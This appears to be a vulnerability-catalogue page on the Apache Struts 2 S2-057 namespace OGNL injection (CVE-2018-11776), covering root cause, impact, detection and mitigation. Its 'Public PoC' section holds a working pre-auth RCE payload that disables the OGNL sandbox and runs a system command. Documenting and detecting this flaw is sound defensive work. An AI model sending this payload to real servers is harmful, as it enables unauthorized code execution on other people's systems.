every *2shell, one place
← all bugs

Struts2 S2-057 Namespace OGNL

aka S2-057
Product
Apache Struts 2
CVE
CVE-2018-11776
Disclosed
2018-08-22
CVSS
8.1
Auth
pre-auth
CISA KEV
yes
Affected
2.3 - 2.3.34, 2.5 - 2.5.16
Fixed
2.3.35, 2.5.17

Summary

When an action has no namespace set (or uses a wildcard namespace) and alwaysSelectFullNamespace is true, the namespace portion of the URL is evaluated as OGNL. Requesting a URL such as /${expr}/action.action runs arbitrary code.

Root cause

Struts takes the namespace from the request URI when the action config does not define one, and later passes it through OGNL evaluation during result handling (e.g. redirectAction/chain results or the url tag). Because the value is user-controlled path data, OGNL injection results; payloads clear the excluded-classes/packages lists to bypass the sandbox.

Impact

Unauthenticated RCE on applications with the vulnerable (but common, e.g. Convention plugin) configuration.

Public PoC

# Test: response redirects to /struts2-showcase/54289/register2.action
http://target:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action

# RCE expression (URL-encode and place in the namespace segment)
${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context)
.(#cr=#ct['com.opensymphony.xwork2.ActionContext.container'])
.(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
.(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear())
.(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id'))
.(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

Source: vulhub / struts2/s2-057

Detection

Search access logs for '${' or '%24%7B' in the URI path before an .action segment. nuclei template CVE-2018-11776.

Mitigation

Upgrade to 2.3.35 / 2.5.17+; always set explicit namespaces and avoid alwaysSelectFullNamespace=true.

References